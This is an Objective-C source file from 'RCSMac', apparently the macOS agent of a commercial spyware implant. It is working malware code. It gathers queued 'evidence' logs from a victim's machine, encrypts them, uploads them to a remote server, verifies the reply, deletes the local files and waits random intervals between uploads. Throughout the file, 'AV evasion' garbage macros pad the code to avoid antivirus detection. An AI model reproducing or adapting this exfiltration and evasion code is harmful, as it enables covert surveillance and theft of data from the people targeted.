core/Modules/LogNetworkOperation.m
/*
* RCSMac - Log Upload Network Operation
*
*
* Created by revenge on 12/01/2011
* Copyright (C) HT srl 2011. All rights reserved
*
*/
#import "RCSMCommon.h"
#import "LogNetworkOperation.h"
#import "NSMutableData+AES128.h"
//#import "FSNetworkOperation.h"
#import "SizeNetworkOperation.h" // send number and total size of evidences
#import "RCSMLogManager.h"
#import "RCSMDiskQuota.h"
#import "NSString+SHA1.h"
#import "NSData+SHA1.h"
#import "RCSMLogger.h"
#import "RCSMDebug.h"
#import "RCSMAVGarbage.h"
@interface LogNetworkOperation (private)
- (BOOL)_sendLogContent: (NSData *)aLogData;
@end
@implementation LogNetworkOperation (private)
- (BOOL)_sendLogContent: (NSData *)aLogData
{
// AV evasion: only on release build
AV_GARBAGE_000
if (aLogData == nil)
{
// AV evasion: only on release build
AV_GARBAGE_002
return NO;
}
uint32_t command = PROTO_LOG;
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
//
// message = PROTO_LOG | log_size | log_content | sha
//
NSMutableData *commandData = [[NSMutableData alloc] initWithBytes: &command
length: sizeof(uint32_t)];
// AV evasion: only on release build
AV_GARBAGE_001
uint32_t dataSize = [aLogData length];
[commandData appendBytes: &dataSize
length: sizeof(uint32_t)];
// AV evasion: only on release build
AV_GARBAGE_002
[commandData appendData: aLogData];
NSData *commandSha = [commandData sha1Hash];
// AV evasion: only on release build
AV_GARBAGE_005
[commandData appendData: commandSha];
// AV evasion: only on release build
AV_GARBAGE_006
#ifdef DEBUG_LOG_NOP
verboseLog(@"commandData: %@", commandData);
#endif
[commandData encryptWithKey: gSessionKey];
// AV evasion: only on release build
AV_GARBAGE_002
//
// Send encrypted message
//
NSURLResponse *urlResponse = nil;
NSData *replyData = nil;
NSMutableData *replyDecrypted = nil;
// AV evasion: only on release build
AV_GARBAGE_000
replyData = [mTransport sendData: commandData
returningResponse: urlResponse];
// AV evasion: only on release build
AV_GARBAGE_009
if (replyData == nil)
{
// AV evasion: only on release build
AV_GARBAGE_001
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_003
return NO;
}
replyDecrypted = [[NSMutableData alloc] initWithData: replyData];
// AV evasion: only on release build
AV_GARBAGE_001
[replyDecrypted decryptWithKey: gSessionKey];
// AV evasion: only on release build
AV_GARBAGE_002
[replyDecrypted getBytes: &command
length: sizeof(uint32_t)];
// AV evasion: only on release build
AV_GARBAGE_004
// remove padding
[replyDecrypted removePadding];
// AV evasion: only on release build
AV_GARBAGE_005
//
// check integrity
//
NSData *shaRemote;
NSData *shaLocal;
@try
{
// AV evasion: only on release build
AV_GARBAGE_000
shaRemote = [replyDecrypted subdataWithRange:
NSMakeRange([replyDecrypted length] - CC_SHA1_DIGEST_LENGTH,
CC_SHA1_DIGEST_LENGTH)];
// AV evasion: only on release build
AV_GARBAGE_004
shaLocal = [replyDecrypted subdataWithRange:
NSMakeRange(0, [replyDecrypted length] - CC_SHA1_DIGEST_LENGTH)];
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_003
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_004
return NO;
}
shaLocal = [shaLocal sha1Hash];
// AV evasion: only on release build
AV_GARBAGE_006
if ([shaRemote isEqualToData: shaLocal] == NO)
{
// AV evasion: only on release build
AV_GARBAGE_003
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_006
return NO;
}
if (command != PROTO_OK)
{
// AV evasion: only on release build
AV_GARBAGE_007
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_009
#ifdef DEBUG_LOG_NOP
infoLog(@"proto NOK");
#endif
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_005
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_002
return YES;
}
@end
@implementation LogNetworkOperation
- (id)initWithTransport: (RESTTransport *)aTransport
minDelay: (uint32_t)aMinDelay
maxDelay: (uint32_t)aMaxDelay
bandwidth: (uint32_t)aBandwidth
{
if (self = [super init])
{
mTransport = aTransport;
mMinDelay = aMinDelay;
mMaxDelay = aMaxDelay;
mBandwidthLimit = aBandwidth;
// AV evasion: only on release build
AV_GARBAGE_005
return self;
}
// AV evasion: only on release build
AV_GARBAGE_006
return nil;
}
- (void)dealloc
{
[super dealloc];
}
- (BOOL)perform
{
// AV evasion: only on release build
AV_GARBAGE_002
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
__m_MLogManager *logManager = [__m_MLogManager sharedInstance];
//
// Close active logs and move them to the send queue
//
if ([logManager closeActiveLogsAndContinueLogging: TRUE] == YES)
{
#ifdef DEBUG_LOG_NOP
infoLog(@"Active logs closed correctly");
#endif
}
else
{
#ifdef DEBUG_LOG_NOP
errorLog(@"An error occurred while closing active logs (non-fatal)");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_006
NSEnumerator *first_enum = [logManager getSendQueueEnumerator];
//TODO: check memory allocation
NSArray *array = [first_enum allObjects];
// AV evasion: only on release build
AV_GARBAGE_004
SizeNetworkOperation *sizeOP = [[SizeNetworkOperation alloc]
initWithTransport: mTransport
minDelay: mMinDelay
maxDelay: mMaxDelay
bandwidth: mBandwidthLimit];
// AV evasion: only on release build
AV_GARBAGE_001
if ([sizeOP perform:array] == NO)
{
#ifdef DEBUG_LOG_NOP
errorLog(@"Error on SizeNetworkOperation");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_003
[sizeOP release];
// end TODO:
NSEnumerator *enumerator = [array objectEnumerator];
id anObject;
/*
NSEnumerator *enumerator = [logManager getSendQueueEnumerator];
id anObject;
*/
// AV evasion: only on release build
AV_GARBAGE_004
if (enumerator == nil)
{
#ifdef DEBUG_LOG_NOP
warnLog(@"No logs in queue, searching on local folder");
#endif
}
else
{
// AV evasion: only on release build
AV_GARBAGE_002
//
// Send all the logs in the send queue
//
while (anObject = [enumerator nextObject])
{
[anObject retain];
NSString *logName = [[anObject objectForKey: @"logName"] copy];
// AV evasion: only on release build
AV_GARBAGE_009
if ([[NSFileManager defaultManager] fileExistsAtPath: logName] == TRUE)
{
// AV evasion: only on release build
AV_GARBAGE_008
NSData *logContent = [NSData dataWithContentsOfFile: logName];
// AV evasion: only on release build
AV_GARBAGE_007
//
// Send log
//
BOOL retVal = [self _sendLogContent: logContent];
if (retVal == NO)
{
[logName release];
[anObject release];
break;
}
// AV evasion: only on release build
AV_GARBAGE_000
NSString *logPath = [[anObject objectForKey: @"logName"] retain];
// AV evasion: only on release build
AV_GARBAGE_001
if ([[NSFileManager defaultManager] removeItemAtPath: logPath
error: nil] == NO)
{
#ifdef DEBUG_LOG_NOP
errorLog(@"Error while removing (%@) from fs", logPath);
#endif
}
else
{
// decrement Quota disk
[[__m_MDiskQuota sharedInstance] decUsed: [logContent length]];
}
// AV evasion: only on release build
AV_GARBAGE_002
[logPath release];
}
[logName release];
// AV evasion: only on release build
AV_GARBAGE_003
//
// Remove log entry from the send queue
//
[logManager removeSendLog: [[anObject objectForKey: @"agentID"] intValue]
withLogID: [[anObject objectForKey: @"logID"] intValue]];
// AV evasion: only on release build
AV_GARBAGE_004
//
// Sleep as specified in configuration
//
if (mMaxDelay > 0)
{
// AV evasion: only on release build
AV_GARBAGE_001
srand(time(NULL));
// AV evasion: only on release build
AV_GARBAGE_002
int sleepTime = rand() % (mMaxDelay - mMinDelay) + mMinDelay;
// AV evasion: only on release build
AV_GARBAGE_002
sleep(sleepTime);
}
else
{
// AV evasion: only on release build
AV_GARBAGE_009
usleep(300000);
}
[anObject release];
}
}
// AV evasion: only on release build
AV_GARBAGE_000
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_001
return YES;
}
@end